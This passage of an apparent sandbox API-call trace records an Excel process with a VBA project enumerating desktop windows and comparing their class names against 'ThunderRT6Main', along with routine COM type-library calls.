lpClassName="_SearchEditBoxFakeWindow") returned 24 [0103.145] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0103.145] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0103.145] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0103.145] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.145] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0103.145] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.145] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0103.145] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.145] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.145] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.145] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0103.146] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.146] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0103.146] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0103.146] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.146] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.146] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0103.146] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.146] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.146] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0103.146] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.146] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.146] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0103.146] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0103.146] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.146] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0103.146] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0103.146] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0103.146] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0103.146] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0103.146] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0103.146] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0103.146] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0103.146] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0103.146] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.146] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0103.147] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0103.147] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.147] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0103.147] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0103.147] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0103.147] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.147] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0103.147] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0103.147] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.147] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0103.147] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.147] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0103.147] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0103.147] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0103.147] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0103.147] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0103.147] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0103.147] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0103.147] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0103.147] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0103.147] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0103.147] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0103.147] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0103.147] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0103.147] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0103.147] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0103.147] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0103.148] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0103.148] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0103.148] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0103.148] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5964eb0 [0103.148] IMalloc:Free (This=0x7fefe465380, pv=0x5964eb0) [0103.189] strncpy_s (in: _Dst=0x5964db0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0103.189] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0103.189] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0103.189] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0103.189] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0103.189] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0103.189] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0103.189] IUnknown:Release (This=0x679bb90) returned 0x15 [0103.189] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0103.190] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0103.190] IUnknown:Release (This=0x5a48630) returned 0x12 [0103.190] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0103.190] IUnknown:AddRef (This=0x679c130) returned 0x9 [0103.190] IUnknown:Release (This=0x679c130) returned 0x8 [0103.190] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0103.190] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0103.190] IUnknown:Release (This=0x679c6d0) returned 0x6 [0106.390] GetCurrentThreadId () returned 0xa30 [0106.390] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0106.390] GetDesktopWindow () returned 0x10010 [0106.390] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0106.390] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0106.390] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0106.390] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.390] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0106.390] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.390] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.390] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.390] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0106.391] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0106.391] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0106.391] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0106.391] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0106.391] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0106.391] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.391] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0106.391] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0106.391] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0106.391] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.391] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0106.391] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.391] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.391] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0106.391] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0106.392] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0106.392] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0106.392] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.392] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0106.392] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0106.392] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0106.392] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0106.392] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0106.392] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0106.392] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.392] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0106.392] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0106.392] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0106.392] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0106.392] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.392] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0106.392] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0106.392] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0106.392] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.392] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0106.393] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.393] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.393] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0106.393] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0106.393] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0106.393] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0106.393] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.393] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0106.393] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0106.393] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0106.393] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0106.393] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0106.393] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0106.393] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0106.393] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0106.393] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0106.393] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0106.393] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.393] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0106.393] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0106.393] IsWindowEnabled (hWnd=0x302dc) returned 0 [0106.393] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0106.393] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0106.393] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0106.393] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0106.393] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0106.393] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0106.393] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0106.393] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.393] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0106.393] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0106.393] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0106.393] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0106.393] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.393] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0106.394] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0106.394] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0106.394] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0106.394] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.394] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0106.394] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0106.394] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0106.394] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0106.394] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.394] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0106.394] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0106.394] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0106.394] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0106.394] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.394] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.394] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.394] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0106.394] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0106.394] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 